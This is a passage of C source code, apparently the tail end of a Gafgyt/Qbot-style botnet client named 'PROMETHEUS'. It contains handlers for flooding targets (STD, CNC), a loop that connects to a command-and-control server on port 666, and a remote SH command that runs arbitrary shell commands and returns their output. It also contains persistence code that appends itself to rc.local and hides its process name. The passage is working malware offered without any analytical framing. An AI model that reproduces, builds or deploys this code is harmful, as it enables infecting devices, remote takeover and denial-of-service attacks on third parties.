2980
_exit(0);
2981
}
2982
hi = strtok(NULL, ",");
2983
}
2984
} else {
2985
if (listFork()) { return; }
2986
2987
sendCNC(ip, port, time);
2988
_exit(0);
2989
}
2990
}
2991
2992
if(!strcmp(argv[0], "STD"))
2993
{
2994
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
2995
{
2996
sockprintf(mainCommSock, "STD <target> <port> <time>");
2997
return;
2998
}
2999
3000
unsigned char *ip = argv[1];
3001
int port = atoi(argv[2]);
3002
int time = atoi(argv[3]);
3003
3004
if(strstr(ip, ",") != NULL)
3005
{
3006
unsigned char *hi = strtok(ip, ",");
3007
while(hi != NULL)
3008
{
3009
if(!listFork())
3010
{
3011
sendSTD(hi, port, time);
3012
_exit(0);
3013
}
3014
hi = strtok(NULL, ",");
3015
}
3016
} else {
3017
if (listFork()) { return; }
3018
3019
sendSTD(ip, port, time);
3020
_exit(0);
3021
}
3022
3023
}
3024
3025
if(!strcmp(argv[0], "KILLATTK"))
3026
{
3027
int killed = 0;
3028
unsigned long i;
3029
for (i = 0; i < numpids; i++) {
3030
if (pids[i] != 0 && pids[i] != getpid()) {
3031
kill(pids[i], 9);
3032
killed++;
3033
}
3034
}
3035
3036
if(killed > 0)
3037
{
3038
sockprintf(mainCommSock, "Killed %d.", killed);
3039
} else {
3040
sockprintf(mainCommSock, "None Killed.");
3041
}
3042
}
3043
3044
if(!strcmp(argv[0], "LOLNOGTFO"))
3045
{
3046
exit(0);
3047
}
3048
}
3049
3050
int initConnection()
3051
{
3052
unsigned char server[4096];
3053
memset(server, 0, 4096);
3054
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
3055
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
3056
else currentServer++;
3057
3058
strcpy(server, PromServer[currentServer]);
3059
int port = 666;
3060
if(strchr(server, ':') != NULL)
3061
{
3062
port = atoi(strchr(server, ':') + 1);
3063
*((unsigned char *)(strchr(server, ':'))) = 0x0;
3064
}
3065
3066
mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
3067
3068
if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
3069
3070
return 0;
3071
}
3072
3073
int getOurIP()
3074
{
3075
int sock = socket(AF_INET, SOCK_DGRAM, 0);
3076
if(sock == -1) return 0;
3077
3078
struct sockaddr_in serv;
3079
memset(&serv, 0, sizeof(serv));
3080
serv.sin_family = AF_INET;
3081
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
3082
serv.sin_port = htons(53);
3083
3084
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
3085
if(err == -1) return 0;
3086
3087
struct sockaddr_in name;
3088
socklen_t namelen = sizeof(name);
3089
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
3090
if(err == -1) return 0;
3091
3092
ourIP.s_addr = name.sin_addr.s_addr;
3093
3094
int cmdline = open("/proc/net/route", O_RDONLY);
3095
char linebuf[4096];
3096
while(fdgets(linebuf, 4096, cmdline) != NULL)
3097
{
3098
if(strstr(linebuf, "\t00000000\t") != NULL)
3099
{
3100
unsigned char *pos = linebuf;
3101
while(*pos != '\t') pos++;
3102
*pos = 0;
3103
break;
3104
}
3105
memset(linebuf, 0, 4096);
3106
}
3107
close(cmdline);
3108
3109
if(*linebuf)
3110
{
3111
int i;
3112
struct ifreq ifr;
3113
strcpy(ifr.ifr_name, linebuf);
3114
ioctl(sock, SIOCGIFHWADDR, &ifr);
3115
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
3116
}
3117
3118
close(sock);
3119
}
3120
3121
char *getBuild()
3122
{
3123
#ifdef MIPS_BUILD
3124
return "MIPS";
3125
#elif MIPSEL_BUILD
3126
return "MIPSEL";
3127
#elif X86_BUILD
3128
return "X86";
3129
#elif ARM_BUILD
3130
return "ARM";
3131
#elif PPC_BUILD
3132
return "POWERPC";
3133
#else
3134
return "PROMETHEUS";
3135
#endif
3136
}
3137
3138
int main(int argc, unsigned char *argv[])
3139
{
3140
char *mynameis = "";
3141
if(SERVER_LIST_SIZE <= 0) return 0;
3142
strncpy(argv[0],"",strlen(argv[0]));
3143
argv[0] = "";
3144
prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
3145
srand(time(NULL) ^ getpid());
3146
init_rand(time(NULL) ^ getpid());
3147
pid_t pid1;
3148
pid_t pid2;
3149
int status;
3150
int dupthing = 0;
3151
3152
char cwd[256],*str;
3153
FILE *file;
3154
str="/etc/rc.d/rc.local";
3155
file=fopen(str,"r");
3156
if (file == NULL) {
3157
str="/etc/rc.conf";
3158
file=fopen(str,"r");
3159
}
3160
if (file != NULL) {
3161
char outfile[256], buf[1024];
3162
int i=strlen(argv[0]), d=0;
3163
getcwd(cwd,256);
3164
if (strcmp(cwd,"/")) {
3165
while(argv[0][i] != '/') i--;
3166
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
3167
while(!feof(file)) {
3168
fgets(buf,1024,file);
3169
if (!strcasecmp(buf,outfile)) d++;
3170
}
3171
if (d == 0) {
3172
FILE *out;
3173
fclose(file);
3174
out=fopen(str,"a");
3175
if (out != NULL) {
3176
fputs(outfile,out);
3177
fclose(out);
3178
}
3179
}
3180
else fclose(file);
3181
}
3182
else fclose(file);
3183
}
3184
3185
getOurIP();
3186
3187
if (pid1 = fork()) {
3188
waitpid(pid1, &status, 0);
3189
exit(0);
3190
} else if (!pid1) {
3191
if (pid2 = fork()) {
3192
exit(0);
3193
} else if (!pid2) {
3194
} else {
3195
zprintf("fork failed\n");
3196
}
3197
} else {
3198
zprintf("fork failed\n");
3199
}
3200
3201
setsid();
3202
chdir("/");
3203
3204
signal(SIGPIPE, SIG_IGN);
3205
3206
while(1)
3207
{
3208
if(initConnection()) { sleep(30); continue; }
3209
3210
sockprintf(mainCommSock, "BUILD %s:%s", getBuild(), inet_ntoa(ourIP));
3211
3212
char commBuf[4096];
3213
int got = 0;
3214
int i = 0;
3215
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
3216
{
3217
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
3218
unsigned int *newpids, on;
3219
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
3220
pids[on - 1] = 0;
3221
numpids--;
3222
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
3223
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
3224
free(pids);
3225
pids = newpids;
3226
}
3227
3228
commBuf[got] = 0x00;
3229
3230
trim(commBuf);
3231
3232
if(strstr(commBuf, "PING") == commBuf)
3233
{
3234
sockprintf(mainCommSock, "PONG");
3235
continue;
3236
}
3237
if(strstr(commBuf, "DUP") == commBuf){
3238
dupthing++;
3239
zprintf("PEACE OUT IMMA DUP\n");
3240
if(dupthing > 20){
3241
exit(0);
3242
}
3243
break;
3244
}
3245
3246
unsigned char *message = commBuf;
3247
3248
if(*message == '!')
3249
{
3250
unsigned char *nickMask = message + 1;
3251
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
3252
if(*nickMask == 0x00) continue;
3253
*(nickMask) = 0x00;
3254
nickMask = message + 1;
3255
3256
message = message + strlen(nickMask) + 2;
3257
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
3258
3259
unsigned char *command = message;
3260
while(*message != ' ' && *message != 0x00) message++;
3261
*message = 0x00;
3262
message++;
3263
3264
unsigned char *tmpcommand = command;
3265
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
3266
3267
if(strcmp(command, "SH") == 0)
3268
{
3269
unsigned char buf[1024];
3270
int command;
3271
if (listFork()) continue;
3272
memset(buf, 0, 1024);
3273
szprintf(buf, "%s 2>&1", message);
3274
command = fdpopen(buf, "r");
3275
while(fdgets(buf, 1024, command) != NULL)
3276
{
3277
trim(buf);
3278
sockprintf(mainCommSock, "%s", buf);
3279
memset(buf, 0, 1024);
3280
sleep(1);
3281
}
3282
fdpclose(command);
3283
exit(0);
3284
}
3285
3286
unsigned char *params[10];
3287
int paramsCount = 1;
3288
unsigned char *pch = strtok(message, " ");
3289
params[0] = command;
3290
3291
while(pch)
3292
{
3293
if(*pch != '\n')
3294
{
3295
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
3296
memset(params[paramsCount], 0, strlen(pch) + 1);
3297
strcpy(params[paramsCount], pch);
3298
paramsCount++;
3299
}
3300
pch = strtok(NULL, " ");
3301
}
3302
3303
processCmd(paramsCount, params);
3304
3305
if(paramsCount > 1)
3306
{
3307
int q = 1;
3308
for(q = 1; q < paramsCount; q++)
3309
{
3310
free(params[q]);
3311
}
3312
}
3313
}
3314
}
3315
}
3316
3317
return 0;
3318
printf("client exiting");
3319
}